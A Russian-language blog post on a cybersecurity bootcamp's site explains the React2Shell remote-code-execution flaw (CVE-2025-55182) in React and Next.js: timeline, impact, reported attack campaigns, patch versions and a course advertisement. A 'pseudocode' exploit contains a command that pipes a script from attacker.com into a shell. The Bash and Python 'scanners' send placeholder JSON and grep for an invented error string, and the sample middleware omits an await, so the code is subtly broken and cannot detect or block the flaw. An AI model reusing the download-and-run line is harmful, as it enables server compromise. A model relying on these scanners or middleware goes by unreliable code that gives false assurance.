Кибер‑буткемп 8200
Почему МыПрограммаДля КогоПодробная ПрограммаЦеныFAQБлогЗаписаться Сейчас
Кибер‑буткемп 8200
Почему МыПрограммаДля КогоПодробная ПрограммаЦеныFAQБлог
Записаться Сейчас

Select Language

© 2026 Кибер‑буткемп 8200

8200 Cyber Bootcamp

Элитарное обучение кибербезопасности, вдохновлённое Unit 8200, с упором на практические навыки.

Быстрые ссылки

  • Главная
  • Программа
  • Подробный план
  • Стоимость
  • FAQ

Контакты

Мы в соцсетях

© 2026 8200 Cyber Bootcamp. Все права защищены.

React2Shell: Критическая RCE в React и Next.js

React2Shell: Критическая RCE в React и Next.js

12/9/2025
CVE-2025-55182 — критическая RCE в React 19 и Next.js, вызванная небезопасной десериализацией в React Server Components. Уязвимость эксплуатируется через HTTP-запросы. Срочно установите патч, чтобы избежать кражи облачных данных и криптомайнинга.

React2Shell (CVE-2025-55182): подробный разбор критической уязвимости React

Автор: Локлан Дэвидсон
Последнее обновление: 4 декабря 2025 г.


Содержание

  1. Введение
  2. Предыстория и хронология
  3. Что такое React2Shell
    • Определение
    • Технический обзор уязвимости
  4. Воздействие на экосистемы React и Next.js
  5. Небезопасная десериализация и протокол Flight
  6. Эксплуатация в реальных условиях и примеры атак
  7. Методы обнаружения и смягчения
    • Сканирование с Bash и cURL
    • Разбор данных об уязвимостях на Python
    • Рекомендации по эффективному мониторингу
  8. Продвинутые техники эксплуатации и анализ после взлома
  9. Ложные срабатывания: чему не стоит доверять
  10. Лучшие практики патч-менеджмента и харденинга
  11. Заключение
  12. Ссылки

Введение

За последние несколько лет популярность React и связанных с ним фреймворков стремительно выросла: они используются как в небольших веб-проектах, так и в корпоративных приложениях. Вместе с ростом популярности увеличивается и число уязвимостей, особенно тех, что затрагивают критические компоненты экосистемы.

29 ноября 2025 г. я, Локлан Дэвидсон, ответственно раскрыл команде Meta разрушительную уязвимость — React2Shell (CVE-2025-55182). Ошибка, затрагивающая серверные реализации React, в частности протокол “Flight” React Server Components (RSC), была исправлена командами React и Vercel 3 декабря 2025 г. В этом посте представлен углублённый анализ уязвимости — от технических деталей до практических примеров эксплуатации, а также рекомендации по обнаружению и защите.

Мы рассмотрим:

  • природу уязвимости и её серьёзное влияние на экосистему;
  • технические причины возникновения ошибки;
  • реальные сценарии эксплуатации и поведения злоумышленников после взлома;
  • примеры кода и команды для сканирования, помогающие обнаружить уязвимые инстансы;
  • лучшие практики по патчам и харденингу окружений.

Этот материал будет полезен специалистам по безопасности, разработчикам и энтузиастам современных веб-технологий — от базовых понятий до продвинутых техник эксплуатации и проактивной защиты.


Предыстория и хронология

Понимание временной шкалы важно для оценки управления рисками и скорости реагирования:

  • 29 ноября 2025 г. (PT): уязвимость ответственно раскрыта мной команде Meta.
  • 3 декабря 2025 г. (PT): React и Vercel публикуют первичные уведомления и патчи.
  • 4 декабря 2025 г.: в сети появляются публичные PoC-эксплойты; однако часть из них не отражала реальную природу ошибки.
  • После релиза патчей: исследователи Wiz Research, Amazon Threat Intelligence, Datadog и др. фиксируют атаки на публичные инстансы Next.js и облачные развёртывания.

Для Next.js был выделен дополнительный идентификатор — CVE-2025-66478. Хотя технически он дублирует CVE-2025-55182, это помогает инструментам отслеживания зависимостей не пропустить уязвимый «вендоренный» React.


Что такое React2Shell

Определение

React2Shell — критическая уязвимость (CVE-2025-55182) в среде React Server Components, затрагивающая протокол Flight. Ошибка позволяет выполнить удалённый код (RCE) без аутентификации из-за небезопасной десериализации в пакете react-server.

Ключевые характеристики:

  • Критический уровень (10.0).
  • RCE без аутентификации: достаточно единственного HTTP-запроса с подготовленным payload’ом.
  • Уязвимость “из коробки”: стандартные проекты Next.js (create-next-app) уязвимы без дополнительного харденинга.

Технический обзор уязвимости

Корень проблемы — обработка RSC-payload’ов на сервере. Логика десериализации не проверяет структуру входящих данных. Злоумышленник отправляет специально сформированный payload, который после десериализации приводит к выполнению произвольного кода.

Упрощённая схема:

  1. Создание вредоносного payload’а.
  2. Отправка HTTP-запроса на уязвимый сервер.
  3. Десериализация без валидации → выполнение кода.
  4. Получение shell-доступа к серверу.

Воздействие на экосистемы React и Next.js

Почему это так опасно?

  1. Широкое распространение: React / Next.js — одни из самых популярных фреймворков.
  2. Простота эксплуатации: достаточно автоматизированного запроса.
  3. Высокая надёжность атаки: при дефолтных настройках близка к 100 %.
  4. Публичная доступность: 39 % облачных окружений содержали уязвимые инстансы, многие из которых публичны.

Особенность Next.js

React поставляется внутри Next.js «вендоренно», поэтому классические сканеры зависимостей могут не увидеть уязвимость. Для этого выделен CVE-2025-66478 — формально дубликат, но позволяющий командам безопасности отследить риск.


Небезопасная десериализация и протокол Flight

Что такое небезопасная десериализация?

Это процесс, когда данные из сериализованного формата преобразуются в объекты без достаточной проверки, что позволяет исполнить злоумышленный код.

Протокол Flight

Flight оптимизирует обмен данными между сервером и клиентом для RSC. Недостаточная валидация в react-server привела к вектору атаки:

  1. Приходит Flight-запрос.
  2. Сервер десериализует payload.
  3. Если он подменён, выполняются произвольные инструкции.

Эксплуатация в реальных условиях и примеры атак

Наблюдавшиеся кампании

  • Кража учётных данных облака.
  • Криптомайнинг (XMRig).
  • Разведка и закрепление в сети.

Кейc: Next.js на Kubernetes

Атакующий отправил Flight-payload → получил reverse-shell → доступ к секретам K8s → повышенные привилегии на узле.

Кейc: Атаки в облаке

По данным Wiz Research:

  • 39 % сред имели уязвимые React/Next.js-инстансы.
  • Злоумышленники эксфильтрировали AWS-креды, кодируя их в Base64.

Методы обнаружения и смягчения

Сканирование с Bash и cURL

#!/bin/bash
# Простейший сканер React2Shell (CVE-2025-55182)
TARGET="<target_url>"
PAYLOAD='{"malicious":"payload"}'

echo "Сканирую $TARGET ..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")

if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
  echo "Возможна уязвимость на $TARGET"
else
  echo "Явных признаков уязвимости нет; требуется дополнительный анализ."
fi

Разбор на Python

import requests, json

def scan_target(url):
    payload = {"test": "data", "action": "simulate_deserialization"}
    headers = {"Content-Type": "application/json"}
    print(f"Сканирую {url} ...")
    try:
        r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
        if "Error processing Flight payload" in r.text:
            print(f"[!] Возможна уязвимость на {url}")
        else:
            print(f"[-] Признаков уязвимости не обнаружено на {url}")
    except requests.RequestException as e:
        print(f"Ошибка при сканировании {url}: {e}")

if __name__ == "__main__":
    for t in ["https://example.com/api/flight",
              "https://another-example.com/api/flight"]:
        scan_target(t)

Советы по мониторингу

  1. Защита на уровне рантайма.
  2. Анализ логов HTTP / Flight-endpoint.
  3. Интеграция сканеров уязвимостей с дашбордами.

Продвинутые техники эксплуатации и анализ после взлома

Разработка эксплойта

  • Формирование payload’а, обходящего базовые проверки.
  • Обход WAF/рантайм-защит.
  • Цепочки с другими уязвимостями.
// Псевдокод вредоносного payload'а
const maliciousPayload = {
  component: "ShellExec",
  args: {
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: { timestamp: Date.now(), nonce: Math.random().toString(36).substring(2) }
};
sendToServer(JSON.stringify(maliciousPayload));

Действия злоумышленника после RCE

  • Reverse shell.
  • Кража переменных окружения и секретов.
  • Латеральное перемещение.
  • Установка майнеров / RAT.

Ложные срабатывания: чему не стоит доверять

Сканеры могут ошибочно считать наличие функций вроде vm.runInThisContext, child_process.exec, fs.writeFile признаком уязвимости. Реальный эксплойт React2Shell не зависит от явного экспорта этих функций. Проверяйте результаты против официальных рекомендаций и наблюдайте рантайм-поведение.


Лучшие практики патч-менеджмента и харденинга

Немедленные шаги

  1. Изучить рекомендации React и Next.js.
  2. Установить версии react-server-dom* 19.0.1 / 19.1.2 / 19.2.1.
  3. Включить/обновить WAF и рантайм-защиту.
  4. Мониторить логи на предмет аномалий.
  5. Следить за отчётами Wiz, GreyNoise, Amazon TI и др.

Харденинг для разработчиков

  • Валидировать входящие сериализованные данные.
  • Ограничить доступность Flight-endpoint’ов.
  • Регулярные аудит и сканирование зависимостей.
  • Сегментировать окружения.
// Пример middleware для Next.js: доп. валидация
import { NextResponse } from 'next/server';

export function middleware(request) {
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Неверный формат payload', { status: 400 });
      }
    } catch {
      return new NextResponse('Ошибка обработки запроса', { status: 400 });
    }
  }
  return NextResponse.next();
}

Заключение

React2Shell (CVE-2025-55182) — напоминание о том, что даже проверенные фреймворки уязвимы. Ошибка в десериализации протокола Flight даёт RCE без аутентификации и поражает приложения по умолчанию.

Главные выводы:

  • Лёгкая эксплуатация и серьёзный риск в облаке.
  • Отдельный CVE для Next.js помогает не пропустить уязвимость.
  • Уже зафиксированы реальные атаки.
  • Ложные срабатывания отвлекают; сверяйтесь с advisories и следите за рантаймом.
  • Поддерживайте зависимости и многослойную защиту.

Понимая технические детали React2Shell и ландшафт угроз, вы сможете надёжнее защищать свои приложения.


Ссылки

  • Официальный блог React
  • Документация Next.js
  • CVE: CVE-2025-55182
  • Advisory Meta
  • Блог Vercel
  • Исследования Wiz
  • GreyNoise Intelligence

Этот подробный гид должен помочь вам полностью разобраться в React2Shell — от технических тонкостей до практических мер защиты. Оставайтесь в курсе официальных обновлений и постоянно совершенствуйте свою безопасность.

Безопасной разработки!

🚀 ГОТОВЫ К ПОВЫШЕНИЮ УРОВНЯ?

Поднимите свою карьеру в кибербезопасности на новый уровень

Если вы нашли этот контент ценным, представьте, чего вы могли бы достичь с нашей комплексной 47-недельной элитной обучающей программой. Присоединяйтесь к более чем 1200 студентам, которые изменили свою карьеру с помощью техник Подразделения 8200.

Записаться на полную программуПосмотреть учебный план
97% Трудоустройство
Элитные техники Подразделения 8200
42 Практические лаборатории